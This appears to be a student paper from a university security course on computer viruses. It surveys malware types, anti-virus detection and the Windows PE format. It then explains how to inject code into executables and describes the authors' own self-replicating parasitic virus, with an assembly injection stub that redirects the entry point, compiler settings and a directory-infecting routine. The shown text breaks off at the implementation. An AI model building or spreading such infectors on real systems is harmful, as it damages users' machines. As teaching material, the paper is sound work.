Sei sulla pagina 1di 66

Faculty of Applied Sciences and Engineering

Department of Electronics and Informatics (ETRO)

Code Injection and Computer Viruses


Paper for the course of Operating Systems and Security by prof. Martin Timmerman.

Beerend Ceulemans Janwillem Swalens

2012-2013

Abstract
In this paper we will investigate what computer viruses are and how they function, and show how a parasitic virus could be written in the C/C++ programming language, using only a minimum of inline assembly code. We start by giving an overview of different types malware (focusing on viruses), and discuss techniques used by anti-virus software. Next, we explain how code injection works by taking a look at the Microsoft Portable Executable (PE) le format (which is used to store executable les in Microsoft Windows), and we investigate how code can be injected in such a le. We then implement a virus using this technique in C/C++, explain how it works and provide a demonstration on a real system.

ii

Contents
1 Malware overview 1.1 Malware . . . . . . . . . . . . . . . . 1.2 Viruses . . . . . . . . . . . . . . . . 1.2.1 Companion virus . . . . . . . 1.2.2 Overwriting virus . . . . . . . 1.2.3 Parasitic virus . . . . . . . . . 1.2.4 Memory resident virus . . . . 1.2.5 Boot sector virus . . . . . . . 1.2.6 Device driver virus . . . . . . 1.2.7 Source code virus . . . . . . . 1.2.8 Document virus / Macro virus 1.3 Worms . . . . . . . . . . . . . . . . . 1.4 Backdoors . . . . . . . . . . . . . . . 1.5 Trojan horses . . . . . . . . . . . . . 1.6 Adware & Spyware . . . . . . . . . . Anti-virus techniques 2.1 Approaches . . . . . . . . 2.2 Techniques . . . . . . . . 2.2.1 Signatures . . . . . 2.2.2 Heuristics . . . . . 2.2.3 File emulation . . 2.2.4 Behavior blocking 2.2.5 Inoculation . . . . 2.3 Other concerns . . . . . . 2.3.1 Performance . . . 2.3.2 False positives . . 2.4 Disinfection . . . . . . . . 2 2 3 3 4 4 4 4 5 5 5 5 6 6 6 7 7 7 8 8 9 9 10 10 10 11 11

. . . . . . . . . . . . . .

. . . . . . . . . . . . . .

. . . . . . . . . . . . . .

. . . . . . . . . . . . . .

. . . . . . . . . . . . . .

. . . . . . . . . . . . . .

. . . . . . . . . . . . . .

. . . . . . . . . . . . . .

. . . . . . . . . . . . . .

. . . . . . . . . . . . . .

. . . . . . . . . . . . . .

. . . . . . . . . . . . . .

. . . . . . . . . . . . . .

. . . . . . . . . . . . . .

. . . . . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

iii

iv 3 Portable Executable le format 3.1 Address formats . . . . . . . . . . . . . 3.1.1 Relative Virtual Address (RVA) 3.1.2 Virtual Address (VA) . . . . . . 3.1.3 File offset . . . . . . . . . . . . 3.2 PE header structures . . . . . . . . . . 3.2.1 IMAGE DOS HEADER . . . . 3.2.2 IMAGE NT HEADERS . . . . 3.2.3 IMAGE SECTION HEADER . 3.3 Import Section . . . . . . . . . . . . .

CONTENTS 13 13 13 14 14 14 15 15 15 16 17 17 20 20 21 21 22 23 23 27 28 29 29 30 30 31 32 32 35 35 37 38 57

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

Code injection 4.1 Location of injection . . . . . . . . . . . . . . . . . . . . . . . . 4.2 EntryPoint . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4.3 Programming issues . . . . . . . . . . . . . . . . . . . . . . . . . Implementation 5.1 First experiments . . . 5.2 Compiler settings . . . 5.3 Viral code structure . . 5.4 First generation . . . . 5.4.1 setLLAndGPA 5.4.2 AStubStart . . 5.4.3 CStubStart . . 5.4.4 ThreadStart . . 5.5 Next generations . . . 5.6 Disinfection . . . . . . 5.7 Summary . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

Tests and Results 6.1 Viral replication . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.2 Infection capability . . . . . . . . . . . . . . . . . . . . . . . . . 6.3 Anti-virus . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Conclusion

A Infection code B Disinfection code

Introduction
In this paper, we will investigate what computer viruses are and how they function, and show how a parasitic virus could be written in the C/C++ programming language. Most parasitic viruses are written in assembly because of their low level nature of operation. We will show that it is also possible to write one in C/C++. The rst two chapters cover the theoretical part of our work. Because many people seem to think that every malware program is a virus, we give an overview of all different kinds of malware in chapter 1. We also show that within the class of viruses, even more subdivisions can be made. Chapter 2 delves into the techniques commonly used by anti-virus software to detect these threats. In the next two chapters, we take a more practical look at code injection. In chapter 3, we examine the Microsoft Portable Executable (PE) le format, the format used to store executable les in Microsoft Windows. We need an extensive knowledge of this format to be able to infect these types of les. Chapter 4 explains how the actual code injection, i.e. the injection of our parasitic virus into a host executable, will work, and what issues need to be resolved before we can do this. Then, in chapter 5, we show our implementation of a virus. We go through our C++ code, and explain its different aspects. Finally, in chapter 6, we demonstrate an infection of the virus, and its propagation to other les, on an actual system. We also take a look at the detection rates by some virus scanners.

Chapter 1

Malware overview
1.1 Malware

[15] denes malware as a set of instructions that run on your computer and make your system do something that an attacker wants it to do. They also give a list of possible things such a set of instructions could do: Delete sensitive conguration les from your hard drive, rendering your computer completely inoperable. Infect your computer and use it as a jumping-off point to spread to all of your friends computers. Monitor your keystrokes and let an attacker see everything you type. Gather information about you, your computing habits, the Web sites you visit, the time you stay connected, and so on. Send streaming video of your computer screen to an attacker, who can essentially remotely look over your shoulder as you use your computer. Grab video from an attached camera or audio from your microphone and send it out to an attacker across the network, turning you into the unwitting star of your own broadcast TV or radio show. Execute an attackers commands on your system, just as if you had run the commands yourself. Steal les from your machine, especially sensitive ones containing personal, nancial, or other sensitive information. 2

1.2. VIRUSES

Upload les onto your system, such as additional malicious code, stolen data, pirated software, or pornography. Bounce off your system as a jumping-off point to attack another machine, laundering the attackers true source location to throw off law enforcement. Frame you for a crime, making all evidence of a caper committed by an attacker appear to point to you and your computer. Conceal an attackers activities on your system, masking the attackers presence by hiding les, processes, and network usage. The term malware is quite general and it covers many different types of programs. In the following sections we will list some of these types, focusing on viruses. Note that there are many nasty programs out there and they might combine some techniques or characteristics of different malware types so there might not always be a single correct category to put them in.

1.2

Viruses

Mark Ludwig describes a computer virus as a program that reproduces[9]. Once executed, it makes copies of itself and those copies will also have this capability. He also notes that the term computer virus might be considered a misnomer, because it carries a negative connotation while a computer virus does not need to be inherently malicious. The benign or malicious nature of a virus comes from the payload but not from the viral reproduction mechanism. There are examples of benevolent viruses. For example, the compressing viruses can compress large executables and actually save disk space[16].

1.2.1

Companion virus

A companion virus does not really infect a program, but it makes sure it gets executed before the actual program. In the MS-DOS days, this could be done by having the virus as a .COM program with the same name as an existing .EXE program. If the user would just type the name of the program (without the le extension), the OS would rst look for a .COM le, executing the virus instead of the intended program. This technique became obsolete when users started running their programs from the GUI instead of the console but the same effect could still be achieved by simply changing the target of a shortcut on the Windows desktop or start menu. When the virus is executed, it may also trigger the program that the user initially wanted to execute, hiding its presence for the user.

CHAPTER 1. MALWARE OVERVIEW

1.2.2

Overwriting virus

This type of virus will simply replace a target executable with itself by overwriting it (partially or completely). From the attackers point of view, this kind of virus is too easy to detect. It will damage the host le and the user will probably notice this.

1.2.3

Parasitic virus

To overcome the main problem of the overwriting viruses (easy detection because the host gets damaged), parasitic viruses have been developed. A parasitic virus will infect a host by injecting its own code into the host. Simply injecting its code isnt enough: it should also make sure the code gets executed. This is the type of virus that we will implement, so we will elaborate on this particular infection mechanism in Chapter 4.

1.2.4

Memory resident virus

In the case of a parasitic virus, when an infected program is executed, the virus may run, it passes control to the host program and exits. Also, the previous classes of viruses need some kind of search routine to scan the le system for possible hosts to infect. This behaviour will also result in increased disk activity that could slow down the system [9, 17]. Memory resident viruses are viruses that remain in memory (RAM) constantly. Instead of actively searching for new hosts, they hook themselves to interrupts (system calls). This way, they can actually monitor what the user is doing and infect a program when it gets executed. The capturing of system calls also gives great potential for spying on data [17]. Note that this is a concept from the DOS-era[11]. Nowadays, operating systems support multi-threading. A virus could set up a thread for its own code and pass control to the host.

1.2.5

Boot sector virus

When a computer is booted, it doesnt know which OS has to be loaded or where this OS would be located on the hard drive. It will rst run the BIOS program, but this program also has no knowledge about the present OS. It will in turn look at the master boot record (MBR) at the start of the boot disk. (This boot disk is often the harddrive of the PC but this can also be a CD/DVD or a USB device, depending on the BIOS conguration.) This MBR will contain some machine code which is able to locate and launch an OS. This structure is not limited to the booting of operating

1.3. WORMS

systems. A boot sector can contain code that launches any program that is present on the disk. A virus could infect the boot sector by overwriting the MBR with its own code. This kind of virus of called a boot sector virus. The virus will be executed each time the OS boots. (Note that they can operate before any anti-virus is started.) When the virus is ready, it should run the original MBR program so the OS can be loaded. Usually, these viruses become memory-resident after booting[17].

1.2.6

Device driver virus

Viruses can only function when executed and this might require some user interaction. It would be nice if the OS would always load the virus in memory. This can be done by infecting a device driver. These drivers are just programs, stored somewhere on the disk and will be loaded (in kernel mode) each time the OS boots[17].

1.2.7

Source code virus

Some viruses dont infect executables but search the system for uncompiled programs. They can for example look for C les, add their own code by including a header and adding a function call to the viral code in the main function of the program. This seems pretty silly, but a less conspicuous infection of the source code of a large project could be pretty effective. An advantage of this kind of viruses is that they can be platform independent. Their disadvantage is the relatively small number of possible targets[15].

1.2.8

Document virus / Macro virus

Some applications (e.g. Microsoft Word and Excel) allow users to write macros. Taking Excel as an example: it is possible to write macros in Visual Basic, which is an entire programming language, giving lots of possibilities. A virus could write its code in the Open Document() function of an Excel document, this code will be executed each time the user opens this document. However, under the default settings, Excel will give a warning that the document contains macros and it will ask the user if they should be executed[17].

1.3

Worms

Worms, like viruses, are self-replicating. The big difference is that a virus usually requires some user interaction (execution of some program) while worms operate autonomously. Worms often exploit bugs (e.g. buffer overow) to automatically

CHAPTER 1. MALWARE OVERVIEW

transfer themselves over a network. Because of this living nature, they can spread extremely fast.

1.4

Backdoors

Once an attacker has gained control over a system, he might want to open a backdoor so he has less trouble when he wants to enter this system again at a later time[15]. He could achieve this by conguring something like a remote shell or even a remote desktop with a full GUI to always run after booting the computer. Note that these could be programs with legitimate uses. With such a program running on the target computer, the attacker can simply connect to it and he will have control over the target.

1.5

Trojan horses

Getting people to install your malware is not that easy anymore[17]. Users may still be naive enough to run executables you send them, but nowadays they will most likely get some notication from their e-mail client or anti-virus software that they should not trust your e-mail. Some types of malware try to make users want to install the software on their computer: a Trojan horse (or simply trojan) is a program that appears to be useful and benign, but secretly has some malicious functionality as well[15]. They are named after the story in Greek Mythology where the Greeks invaded the city of Troy by hiding soldiers in a giant wooden horse, which they presented as a gift. The Trojans took the horse inside their city and at night the Greek soldiers came out and were able to open the gates for their army.

1.6

Adware & Spyware

Spyware is a name for software that spies on the target system. It could gather (sensitive) information (e.g. stored passwords, e-mails, pictures, etc.) or capture keystrokes (this is called a keylogger). This gathered information can then be send to the attacker over the internet. Adware is a kind of spyware that doesnt really look for sensitive information, but for the interests of the user by e.g. looking at his or her browsing behavior. This information could be used to generate personalized advertisements. Adware is not really malicious in nature but it is often installed without the users knowledge or permission and can be considered a privacy violation[16].

Chapter 2

Anti-virus techniques
In this chapter, we will take a closer look at the techniques used by anti-virus software to detect malware. Although the exact details and secret sauce used by popular commercial anti-virus software remain well-kept secrets both from virus writers and competitors, some general techniques are still known.

2.1

Approaches

There are two main approaches used to detect malware[6]. An activity monitor will continuously monitor the running system for suspicious activity. For example, a program opening another EXE for write access might be suspicious. A malware scanner scans the le system, RAM, boot sector etc. and checks its integrity, i.e. it will try to detect whether any les have been infected by a virus. In most cases, anti-virus software will have to use both approaches. However, in some scenarios, only one approach is necessary, e.g. a mail server can scan the incoming mail for malware, but might not need an activity monitor.

2.2

Techniques

There exist a plethora of techniques used by anti-virus software[16]. This is necessary because some viruses might be impossible to detect using one technique. It has even been proven that there exists no algorithm that can detect all possible viruses with no false positives[4]. 7

CHAPTER 2. ANTI-VIRUS TECHNIQUES

2.2.1

Signatures

The simplest and still most common technique is signature based detection. This technique consists of comparing the contents of a le to a given dictionary of virus signatures. These virus signatures are patterns which identify a virus. The earliest form of signature based detection was a simple string scan. The signature is a sequence of bytes that appears in a virus, but is not likely to be found in a legitimate program. If a le contains this string, it is infected. A simple improvement on this algorithm is to use wildcards in the pattern, so small variations of a virus can also be detected. Some algorithms also allow a small number of mismatches, or they use regular expressions for more complicated virus detection. This technique is widely used, and can be very effective. However, it can only be used for known viruses, of which samples have been obtained and a signature was created. As new viruses get created every day, anti-virus software must include a way to update the virus signature dictionary. Thus, this technique can be very effective in preventing the spread of a known virus, but wont protect the user from new viruses. Virus writers have also tried to circumvent it by using polymorphic and metamorphic code. These sorts of viruses change their code when spreading, while keeping the original algorithm intact.

2.2.2

Heuristics

Another, more sophisticated technique is based on heuristics, which can be used to identify both known and new malware. The anti-virus will check for some common features of viruses: In most EXE les, the tail of the last section (the last few kilobytes) will contain a lot of zeros. Viruses, including ours, often overwrite this with their code. Changes to the section headers are very suspicious. Atypical values, such as the data section being marked executable, or extra sections with unknown names, are telltale signs of a virus. Other inconsistencies in the header, such as an incorrect section or le size, are another red ag. Suspicious jumps in the code are another sign of a virus. Viruses often change the entry point of an EXE to point to the start of the virus, after which it jumps back to the original code. In some cases, this is detectable.

2.2. TECHNIQUES

Suspicious imports: a virus might patch the imports in an EXE le to include extra libraries, which might also be detectable. The anti-virus maker will train a neural network using a set of known positives and known negatives, which when given these features as input can detect whether a le is infected or not.

2.2.3

File emulation

File emulation or sandboxing is a more recent technique, aimed to deal with the fact that users continually run new programs from untrusted sources. When running an unveried program, it will run in a virtual system rst, in which it has access to the same information as in the real system. It can make modications to les and the registry, however these are made on a copy of the actual information. The anti-virus software monitors the program, and detects suspicious behavior. If the program does nothing suspicious, the modications made by the program can be saved permanently, else they are thrown away. This technique might be used in combination with heuristics, i.e. a program which is suspected to be infected according to the heuristics, can be run in the sandbox to conrm or deny this hypothesis. This technique has some disadvantages. First of all, the virtual subsystem might have reduced functionality compared to the real system, which can cause compatibility problems for the program under test. Secondly, sandboxing might not detect all viruses, which will allow them to run in the real system, where they might disable the sandbox. Lastly, the sandbox might have holes, which allow the program to escape from it, i.e. execute code on the real machine instead of the virtual machine.

2.2.4

Behavior blocking

Behavior blocking is a system which attempts to block virus infections by disallowing some behaviors. For example, the opening of one executable by another for writing could be blocked. However, instead of outright blocking this behavior, which might have legitimate uses, the anti-virus will display a message to the user asking for his permission. Unfortunately, such messages quickly become unwieldy for the user. There are too many of them, and the user often doesnt understand them, which will lead him to just accept them all. An even larger drawback is that implementing this technique is very difcult without good support from the operating system and even the hardware.

10

CHAPTER 2. ANTI-VIRUS TECHNIQUES

However, when combined with heuristics, this technique does offer some promising uses. The heuristics can be used to reduce the number of false positives, for example in viruses embedded in e-mails (the self-mailing behavior can be recognized and blocked).

2.2.5

Inoculation

Lastly, a now long outdated technique is inoculation, building on an idea similar to vaccination. A virus that infects a le will mark it to prevent double infection. It might change the seconds in the timestamp to 58, or it might write a short string to a specic location in the EXE header. The anti-virus software will add these markers to non-infected les, so the virus will think they are already infected. This technique was quite popular at the time viruses rst appeared. However, it has large drawbacks, e.g. when viruses write contradictory markers (one changes the seconds in the timestamp to 58, the other to 59) it is impossible to inoculate against both. It is also impossible to inoculate against unknown viruses. Lastly, inoculation can make the detection of viruses harder, because the marker might be used by the detection algorithm (i.e. we have to differentiate between an infected le and an inoculated le).

2.3
2.3.1

Other concerns
Performance

In the early days of anti-virus software, the amount of signatures used by an antivirus ranged in the hunderds. Nowadays, there are over 60.000 known viruses and other malware. If a virus scanner would compare every le on the users system against each of those signatures, it would be unacceptably slow[6]. Anti-virus software uses some techniques to alleviate this problem. First of all, signatures are put into categories designating which sort of le they infect (e.g. boot sector, COM les, EXE les). This way, an EXE le only has to be checked against viruses that infect EXE les. Secondly, certain rules can be applied to avoid looking through the whole le. For example, Word DOC les contain macros in a very specic location, so only this part of the le has to be checked. Similarly, COM les are mostly infected at the end of the le. Lastly, instead of using specic signatures to identify a single virus variant, it might be more efcient to generate a more general signature that can identify a number of viruses. These signatures can contain wildcards, regular expressions,

2.4. DISINFECTION

11

etc. to identify many variants of the same type of virus. There exist virus generators on the internet, against which these types of signatures can be especially efcient.

2.3.2

False positives

A false positive happens when anti-virus software identies a non-malicious le as a virus. This can have serious consequences when the anti-virus tries to disinfect the le. For instance, if the anti-virus software is congured to immediately delete or quarantine an infected le, a false positive in an essential le can render the operating system unusable. There have been several incidents in which popular anti-virus software left the users system unusable. For example, in May 2007, a faulty virus signature issued by Symantec mistook netapi32.dll and lsasrv.dll, two essential Windows system les, for a Trojan horse[5]. It quarantined them, rendering the system unusable. False positives can not only have grave consequences for the user, but also for the anti-virus maker. After a faulty signature update issued in April 2010 by McAfee, rendering many systems worldwide unusable, they offered a nancial compensation to their customers[19]. Similarly, when in October 2011 the Microsoft Security Essentials suite agged the Google Chrome web browser (rival to Microsofts own Internet Explorer) as a virus and blocked or removed it from users computers, this lead to a great deal of reputation damage for Microsoft[8].

2.4

Disinfection

After a virus has been detected, it is of course necessary to remove it from the system. The most easy removal method is to quarantine or remove the infected le from the system. In the case of removal, the infected le is just deleted from the system. When quarantining a le, it is rst put in a quarantine, where the user can inspect the le but it cannot cause any further harm to the system, after which the user can decide to remove it or not. Removing is, in fact, the most reliable method of disinfection. Afterwards, the user is supposed to recover the removed le from a back-up, or re-install it (this might mean re-installing the complete operating system). This guarantees that the virus is removed from the system, and the infected le is now replaced with a clean version. However, it requires effort from the part of the user, and some forethought (making back-ups).

12

CHAPTER 2. ANTI-VIRUS TECHNIQUES

Another method, which requires less effort and technical expertise from the user, is to disinfect the le, i.e. try to remove the virus from the le. Originally, anti-virus software was only able to disinfect known viruses, for which the anti-virus makers wrote a specic removal tool. However, since the rise of virus generators, it has been necessary to write generic disinfection tools. It is possible to write such tools, but it remains a difcult problem: this method works but cannot be considered truly reliable. One way to disinfect les, also used in the removal tool we wrote for our virus, is to nd the virus code among the original code of the host program. Somewhere in this code, we nd the entry point of the original host (where the virus jumps back to the host program). The removal tool removes the virus code, and replaces the entry point in the PE header to point to the original entry point instead of the entry point of the virus. Unfortunately, it is in many cases still impossible to use such generic methods, and in some cases it is even impossible to clean a program (e.g. when the virus has overwritten a part of the original program). It is estimated that around 30% of all viruses cannot be removed, although many anti-virus programs do not even come close to this gure[16].

Chapter 3

Portable Executable le format


The virus that we will write in this paper will inject itself into EXE les on Windows. Before we can do this, it is important to know how the code and data in these les are structured. EXE les on Windows use the Portable Executable (PE) le format. This format, also used for DLLs, object code and others, is a data structure that contains all necessary information for Windows to load the executable code contained in it. The information presented in this chapter comes from the ofcial specication for the Microsoft Portable Executable (PE) and Common Object File Format (COFF)[10] and some articles from the MSDN website[12, 13, 14]. [12] (1994) is older than the two others (2002), but the newer ones dont show any example C code, while the 1994 article does. There is much to say about all these things, but in this chapter only the parts relevant to code injection are selected.

3.1

Address formats

When working with PE les and assembly code, it is important to know the different kinds of addresses that are being used.

3.1.1

Relative Virtual Address (RVA)

The RVA is the address of an item after it is loaded into memory, with the base address of the image subtracted. (Thus, relative to the ImageBase.) 13

14

CHAPTER 3. PORTABLE EXECUTABLE FILE FORMAT

3.1.2

Virtual Address (VA)

This is the same as the RVA, except that the base address of the image le is not subtracted. The address is called virtual because the OS does not guarantee that the image le will be loaded at its preferred location. Because of this, the VA is less predictable than the RVA.

3.1.3

File offset

The le offset is simply the position in the le, written on disk. It is not really an address per se, but it has similar properties because it also points to some location. As we will see in the next sections, a PE le contains sections which will reside at a certain location in the le but are also given a RVA for when they are loaded in memory. Sometimes, a conversion between a le offset (in a section) and a RVA is needed.

3.2

PE header structures

Figure 3.1: Typical Portable EXE File Layout[10] In Figure 3.1, the general layout of a PE le is shown. The le consists of headers and sections. Most sections contain either byte code (or machine code) or data. (There are some sections which contain some special information, but we

3.2. PE HEADER STRUCTURES

15

wont go into detail about those.) The headers provide information on how the sections (and thus, the program) should be loaded into memory. In Windows.h, functions and data structures are provided to easily work with these les. This le format is used for EXE les but also for DLLs and others. This chapter only considers executables, but the others could be manipulated in a similar way.

3.2.1

IMAGE DOS HEADER

The rst header is the MS-DOS compatible header, called IMAGE DOS HEADER. When the le is executed in MS-DOS, the OS will be able to read this header and execute the MS-DOS stub program. By default this program simply prints a message saying This program cannot be run in DOS mode. A compatible Operating System will skip this entire header and just look at the value located at le offset 0x3C which contains a pointer to the PE header or IMAGE NT HEADERS. It will then turn to this PE header for instructions on how to load the actual program.

3.2.2

IMAGE NT HEADERS

The IMAGE NT HEADERS consist of IMAGE NT SIGNATURE, IMAGE FILE HEADER and IMAGE OPTIONAL HEADER. The signature contains the characters PE\0\0 and can be used to check if the le is a valid EXE. The le header contains some basic information about the le (e.g. NumberOfSections) but most importantly it contains a eld saying how big the optional header, which directly follows the le header, will be. The optional header contains many elds but from the perspective of code injection the most important elds are the following: AddressOfEntryPoint: the RVA of the rst byte of code that will be executed. In Chapter 4, we will modify this address to execute our own code. ImageBase: the preferred load address of the le in memory. It will be used to convert between different address modes.

3.2.3

IMAGE SECTION HEADER

Immediately following the IMAGE OPTIONAL HEADERS are the IMAGE SECTION HEADERs. They have a xed size and their number was given in the NumberOfSections eld of IMAGE NT HEADERS.FileHeader. They contain the following important elds: Misc.VirtualSize: the actual size that is being used by the section. Sections might be zero-padded at the end to ensure a certain alignment.

16

CHAPTER 3. PORTABLE EXECUTABLE FILE FORMAT VirtualAddress: in executables, this eld contains the RVA where the section begins in memory. It will be used to convert between different address modes. SizeOfRawData: the total size of the section (used + unused). PointerToRawData: the le offset to the raw data of the section. Characteristics: a bitmap of ags that indicate some attributes of the section, e.g. if the section contains code, if it is writable, etc.

3.3

Import Section

A PE le will always import some functionality from some DLLs. In Windows, all programs have some dependency on kernel32.dll and many use functions from user32.dll. These dependencies are described in the import section. The import section is simply an array of IMAGE IMPORT DESCRIPTOR structures. For each imported executable (like kernel32.dll or user32.dll) there will be such a structure in the import section. The most important elds of a IMAGE IMPORT DESCRIPTOR are the name eld, which is a RVA that points to an ASCII string that contains the name of the imported executable, and 2 identical arrays called the Import Address Table (IAT) and Import Name Table (INT). Both these arrays contain elements of the IMAGE THUNK DATA type, one for each imported variable or function. The reason why there are 2 arrays is that before any code is executed, the IAT will be overwritten by the Windows loader and the INT is there to still have the original information as well. Basically, the loader will load a DLL and look for the requested functions. For each of those functions it will return its address and write it on the corresponding slot in the IAT.

Chapter 4

Code injection
Now that we know how a Portable Executable is structured, we will examine how a (malicious) program could inject code of its own into a target host application. This chapter will explain how we can do this, and try to answer some issues surrounding code injection; in the next chapter we will show our actual implementation in C. There are different tools that are able to show the contents of a PE in a structured way. Such tools are very useful when you are working on code injection or when you are reverse engineering a program. Examples of free tools are PEview and CFF Explorer. Figures 4.1a and 4.1b show a screenshot of PEview and CFF Explorer respectively, both looking at the AddressOfEntryPoint in the optional header. CFF Explorer has much more features than PEview, but we like the latter better because it displays the bytes in the sections nicer and allows an easy switching between different address/offset modes. It is quite obvious that the injected code will need to be compiled machine code. There remain three main issues to successfully inject code into a PE: Where to put the code? How to make sure the code is executed? How to make sure the injected code works inside the host? These issues are addressed in the next sections.

4.1

Location of injection

It doesnt really matter where the injected code will end up. However, if the host program should still be able to function normally after injection, none of its original code should be overwritten. Figure 4.2a shows a part of a code section in a PE. The 17

18

CHAPTER 4. CODE INJECTION

(a) PEview

(b) CFF Explorer

Figure 4.1: Screenshots of (a) PEview and (b) CFF Explorer

end of a section is often padded with zeros that are not being used. This is an ideal location to put code of our own. After injecting some code, the section looks like Figure 4.2b. Such a region containing only zeros is called a code cave. It might also be possible to nd code caves somewhere in the middle of a section, but they are less likely to be large enough to hold our code. Even at the end of a section there is no guarantee that there exists a code cave that is large enough to contain our code. This problem could be solved simply by expanding a section making it large enough, or adding an extra section just for our code[3]. From implementation perspective both solutions introduce some difculties. In the second solution, a new section header will need to be created. To

4.1. LOCATION OF INJECTION

19

(a) empty code cave

(b) code cave with injected code

Figure 4.2: Example of a code cave

do this, all information after the last original header will need to be moved to make room for the new header. Also, all pointers to raw data in the original headers will need to be updated. This is not that difcult, but it involves some extra work. The same problem arises when increasing the size of a section. Unless the expanded section is the last one. In this case, only the size elds in the corresponding header need to be updated. In our own implementation, we chose to expand the last section. When doing this, we have to make sure that the new size of the section is a multiple of the FileAlignment that is dened in the optional header. If we neglect to do this, the Windows loader will say that the injected host is not a valid Win32 application and it will not run it. Note that expanding the last section of a PE, and marking it executable, makes our virus easier to detect (using heuristics), in comparison to using a code cave in the middle of a section. However, since evading anti-virus software is not our aim in this academic example, we choose the former method anyway.

20

CHAPTER 4. CODE INJECTION

4.2

EntryPoint

To make sure our code will get executed, there are again several possibilities. One possibility is to analyze the original code and to modify it in such a way that it will jump to our code at some point. Much easier but of course less stealthy is to simply change the AddressOfEntryPoint in the optional header to point to the injected code. This way the PE will execute our code as very rst. If we save the original AddressOfEntryPoint somewhere, we can write our own code in such a way that when it is nished, it jumps to the original host program code.

4.3

Programming issues

Because of the low-level nature of what we are trying to accomplish, it is straightforward to work in assembly. It is however much easier to write a program in a high level programming language like C or C++. After all, the compiler will translate this code into machine code anyway so the end result is the same. Even when writing the injected code in assembly, there is a problem when using calls to functions: a function call takes an address to the called function, but we do not know what that address will be in the host program at the time when we are writing our code. This problem will be solved by using placeholders when writing the code. We can for example write 0xCCCCCCCC each time we refer to an address we do not know yet. When the host PE le is opened, we should resolve all missing addresses and make sure that they are correctly lled in before injecting the code. In C++, the same problem exists but because it is a high level language it is not that obvious to work around it. In assembly, a function is called by call functionaddress but in C++ we usually write something like function(). So how do we make sure the address of this function is corrected before injection? There is also a problem when using strings. When we want our injected code to show a message box for example, we would write something like MessageBox("our message"). The compiler however doesnt put the code and the used string our message at the same place in memory: the string is put in the data section, and the MessageBox code in the code section uses the address of that string. Like the function addresses, this address wont be the same in the host application. Besides these addressing difculties, there is also the issue that the compiled code will most likely not work in the host application if the default compiler settings are used. These pitfalls and working solutions will be examined in detail in Chapter 5 where we will go over the most important aspects of our source code.

Chapter 5

Implementation
It is quite difcult to nd decent information on the implementation of a virus. Many people claim to have written a virus but they only wrote some program or Visual Basic script that adds a key to the Windows registry so the virus gets executed on each boot of the OS and does some annoying things. We found one book[9] that provides source code but it uses assembly. It is also outdated since it cant handle the PE format and only targets DOS programs. When looking for PE injection we found again many assembly examples, but one of those injects the assembly code with a C++ program[1]. Our own implementation is built on the code presented there.

5.1

First experiments

In our rst experiments, we simply started from the exact tutorial as presented in [1] to test if it actually works. We found out it does: it shows a message box before the host program can start.
#define bb(x) __asm _emit x __declspec(naked) void StubStart(){ __asm{ pushad // Preserve all registers // Delta offset trick to get correct ebp call GetBasePointer GetBasePointer: pop ebp sub ebp, offset GetBasePointer // Create message box: MessageBox(NULL, szText, szTitle, MB_OK) // Push arguments to MessageBox (in reverse order) push MB_OK

10

15

21

22

CHAPTER 5. IMPLEMENTATION
lea eax, [ebp+szTitle] push eax lea eax, [ebp+szText] push eax push 0 // Call MessageBox (its address is a placeholder) mov eax, 0xCCCCCCCC call eax popad // Restore registers push 0xCCCCCCCC // Push address of original entry point (placeholder) retn // retn used as jmp

20

25

30

35

szText: bb(G) bb(r) bb(g) bb(s) bb( ) bb(B) bb(d) bb( ) bb(w) bb(i) szTitle: bb(O) bb(S) } } void StubEnd(){}

bb(e) bb( ) bb(e) bb(&) bb(l)

bb(e) bb(f) bb(e) bb( ) bb(l)

bb(t) bb(r) bb(r) bb(J) bb(e)

bb(i) bb(o) bb(e) bb(a) bb(m)

bb(n) bb(m) bb(n) bb(n) bb(0)

bb(S) bb(E) bb(C) bb(0)

The 0xCCCCCCCC addresses are placeholders that need to be replaced before injecting the code. At this point, we are able to inject assembly code into the host, but our goal is to write our viral code in C++ and then inject it.

5.2

Compiler settings

Because we use inline functions and a lot of relative addressing, we need to ensure that the code gets compiled exactly in the way that we intend it. This can be done by conguring the compiler with the following options (Visual Studio): Optimization: Maximize Speed (/O2) This option forces the compiler to really inline the functions when we ask it. Enable Incremental Linking: No (/INCREMENTAL:NO) This ensures that the generated machine code is in the same order as the source code. Release mode When building in debug mode, the added debug information will cause the injected code to crash.

5.3. VIRAL CODE STRUCTURE

23

Parameters Constants
AStubStart

Assembly stub C Stub

CStubStart ThreadStart

ThreadStart
InfectDir

InfectDir
VCodeEnd

Figure 5.1: Structure of the injected code

5.3

Viral code structure

Figure 5.1 shows the structure of our injected code. We will briey explain the different parts here and elaborate on them in the next sections. The rst block is a Parameter structure which contains information that will need to be updated for each host. The second is also a structure but the information in this one remains constant for all hosts. The rest are functions: AStubStart is a small assembly stub, based on the code from section 5.1. However, instead of calling the MessageBox function, we call our own CStubStart function. CStubStart is a C function that shows a MessageBox, starts ThreadStart in a new thread and returns. ThreadStart contains the code for a separate thread that will contain the payload. In our case, it just searches for new hosts which it will infect. InfectDir is a recursive function that is used by ThreadStart.

5.4

First generation

